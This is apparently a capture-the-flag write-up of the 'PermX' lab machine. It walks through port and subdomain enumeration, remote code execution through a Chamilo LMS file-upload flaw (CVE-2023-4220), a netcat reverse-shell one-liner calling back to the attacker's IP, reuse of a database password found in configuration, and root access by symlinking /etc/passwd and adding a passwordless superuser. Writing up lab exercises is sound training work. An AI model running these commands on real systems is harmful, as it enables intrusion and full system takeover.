Page cover

Week 11. PermX

TL;DR

This is an Ubuntu 22.04 machine running an e-learning web site made with of Chamillo LMS (Learning Management System). The version installed is Chamillo 1.11, which is vulnerable to unrestricted file upload (CVE-2023-4220) . Exploiting this vulnerability we get initial to access to the system, then move laterally to a low-priv user reusing database credentials found in a PHP configuration file. Regarding escalation, we abuse an overly permissive sudo script that allows the user to update file permissions with setfacl.

KEYWORDS

Chamilo 1.11, CVE-2023-4220, password hunting, sudo escalation, setfacl.

REFERENCES

https://www.cvedetails.com/cve/CVE-2023-4220/

https://github.com/B1TC0R3/CVE-2023-4220-PoC

ENUMERATION

Port scan.

> nmap $target -p- --min-rate=5000 -Pn --open --reason
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 11:34 EDT
Nmap scan report for 10.10.11.23
Host is up, received user-set (0.036s latency).
Not shown: 59940 closed tcp ports (conn-refused), 5593 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack
80/tcp open  http    syn-ack
 
Nmap done: 1 IP address (1 host up) scanned in 12.90 seconds

Enumerate the open ports.

> nmap $target -p22,80 -sV -sC -Pn -vv -n
Starting Nmap 7.93 ( https://nmap.org ) at 2024-10-10 11:34 EDT
Nmap scan report for 10.10.11.23
Host is up, received user-set (0.043s latency).
Scanned at 2024-10-10 11:34:48 EDT for 8s
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 e25c5d8c473ed872f7b4800349866def (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBAyYzjPGuVga97Y5vl5BajgMpjiGqUWp23U2DO9Kij5AhK3lyZFq/rroiDu7zYpMTCkFAk0fICBScfnuLHi6NOI=
|   256 1f41028e6b17189ca0ac5423e9713017 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP8A41tX6hHpQeDLNhKf2QuBM7kqwhIBXGZ4jiOsbYCI
80/tcp open  http    syn-ack Apache httpd 2.4.52
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://permx.htb
|_http-server-header: Apache/2.4.52 (Ubuntu)
Service Info: Host: 127.0.0.1; OS: Linux; CPE: cpe:/o:linux:linux_kernel
 
Nmap done: 1 IP address (1 host up) scanned in 8.57 seconds

Add to hosts file and enumerate with Firefox. An online e-learning site comes into view.

Fuzz for hidden subdomains.

> ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 404,302 -t 100 -u http://permx.htb -H "Host: FUZZ.permx.htb"
 
        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://permx.htb
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt
 :: Header           : Host: FUZZ.permx.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 100
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404,302
________________________________________________
 
www                     [Status: 200, Size: 36182, Words: 12829, Lines: 587, Duration: 40ms]
lms                     [Status: 200, Size: 19347, Words: 4910, Lines: 353, Duration: 71ms]
:: Progress: [4989/4989] :: Job [1/1] :: 118 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

Add the subdomain to hosts file and enumerate the subdomains with Firefox.

A Chamilo collaboration site comes into view. Fuzz again for hidden folders in the subdomain.

> ffuf -c -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20 -fc 404,403 -e .php,.html,.txt,.md -u http://lms.permx.htb/FUZZ
 
        /'___\  /'___\           /'___\      
       /\ \__/ /\ \__/  __  __  /\ \__/      
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\     
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/     
         \ \_\   \ \_\  \ \____/  \ \_\      
          \/_/    \/_/   \/___/    \/_/      
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://lms.permx.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/common.txt
 :: Extensions       : .php .html .txt .md
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 20
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response status: 404,403
________________________________________________
 
LICENSE                 [Status: 200, Size: 35147, Words: 5836, Lines: 675, Duration: 42ms]
README.md               [Status: 200, Size: 8074, Words: 917, Lines: 208, Duration: 41ms]
app                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 40ms]
bin                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 39ms]
certificates            [Status: 301, Size: 321, Words: 20, Lines: 10, Duration: 44ms]
documentation           [Status: 301, Size: 322, Words: 20, Lines: 10, Duration: 37ms]
favicon.ico             [Status: 200, Size: 2462, Words: 3, Lines: 2, Duration: 40ms]
index.php               [Status: 200, Size: 19356, Words: 4910, Lines: 353, Duration: 79ms]
index.php               [Status: 200, Size: 19356, Words: 4910, Lines: 353, Duration: 66ms]
license.txt             [Status: 200, Size: 1614, Words: 206, Lines: 36, Duration: 40ms]
main                    [Status: 301, Size: 313, Words: 20, Lines: 10, Duration: 127ms]
plugin                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 37ms]
robots.txt              [Status: 200, Size: 748, Words: 75, Lines: 34, Duration: 41ms]
robots.txt              [Status: 200, Size: 748, Words: 75, Lines: 34, Duration: 39ms]
src                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 41ms]
terms.php               [Status: 200, Size: 16127, Words: 4075, Lines: 320, Duration: 106ms]
user.php                [Status: 302, Size: 0, Words: 1, Lines: 1, Duration: 46ms]
vendor                  [Status: 301, Size: 315, Words: 20, Lines: 10, Duration: 42ms]
web                     [Status: 301, Size: 312, Words: 20, Lines: 10, Duration: 49ms]
web.config              [Status: 200, Size: 5780, Words: 1119, Lines: 107, Duration: 40ms]
:: Progress: [23565/23565] :: Job [1/1] :: 454 req/sec :: Duration: [0:00:51] :: Errors: 0 ::

In the README.md file we find out the installed version is Chamilo 1.11.

A Google search provides details about an existing CVE and a GitHub exploit affecting this version.

https://www.cvedetails.com/cve/CVE-2023-4220/

https://github.com/B1TC0R3/CVE-2023-4220-PoC

USER

Download and run the exploit (exploit.py), it provides instant RCE. First we'll use it to discover the host is running Linux, then we verify nc is installed.

> python3 exploit.py -u http://lms.permx.htb -c id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
 
> python3 exploit.py -u http://lms.permx.htb -c 'which nc'
/usr/bin/nc

Everything is ready, so just start a listener and send a payload.

> python3 exploit.py -u http://lms.permx.htb -c 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <Kali IP> 1919 >/tmp/f'

A reverse shell is received on port 1919.

It is a shell for user www-data so let's carry out a database password hunt in the /var/www/chamilo directory.

> grep --color=always -rnw /var/www/chamilo -ie "db_password" 2> /dev/null

We have find a database password, let's check if it belongs to any of the host users.

> cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
mtz:x:1000:1000:mtz:/home/mtz:/bin/bash

For example, let's try if it works for user mtz

It seems that's the case and we can retrieve user flag.

ROOT

Start from the low-priv shell for user mtz and take the opportunity to enumerate the user and the system.

> whoami && id
mtz
uid=1000(mtz) gid=1000(mtz) groups=1000(mtz)
 
> uname -a && cat /etc/os-release
Linux permx 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 22.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="22.04"
VERSION="22.04.4 LTS (Jammy Jellyfish)"
VERSION_CODENAME=jammy
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=jammy

Check sudo configuration.

> sudo -l
Matching Defaults entries for mtz on permx:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User mtz may run the following commands on permx:
    (ALL : ALL) NOPASSWD: /opt/acl.sh

Inspect the script /opt/acl.sh

#!/bin/bash
 
if [ "$#" -ne 3 ]; then
    /usr/bin/echo "Usage: $0 user perm file"
    exit 1
fi
 
user="$1"
perm="$2"
target="$3"
 
if [[ "$target" != /home/mtz/* || "$target" == *..* ]]; then
    /usr/bin/echo "Access denied."
    exit 1
fi
 
# Check if the path is a file
if [ ! -f "$target" ]; then
    /usr/bin/echo "Target must be a file."
    exit 1
fi
 
/usr/bin/sudo /usr/bin/setfacl -m u:"$user":"$perm" "$target"

It seems the script modifies any file's permissions with setfacl binary. There are 2 conditions: the target must be a file and be inside mtz home directory.

Create a symbolic link to /etc/passwdin mtz home directory, then update its permissions so we can add new users.

> ln -sf /etc/passwd ~/passwd
> sudo /opt/acl.sh mtz rwx ~/passwd

All that's left is to add a new superuser and spawn a root shell.

> echo "root2::0:0:root2:/root:/bin/bash" >> ./passwd
> su root2

You are root.

Last updated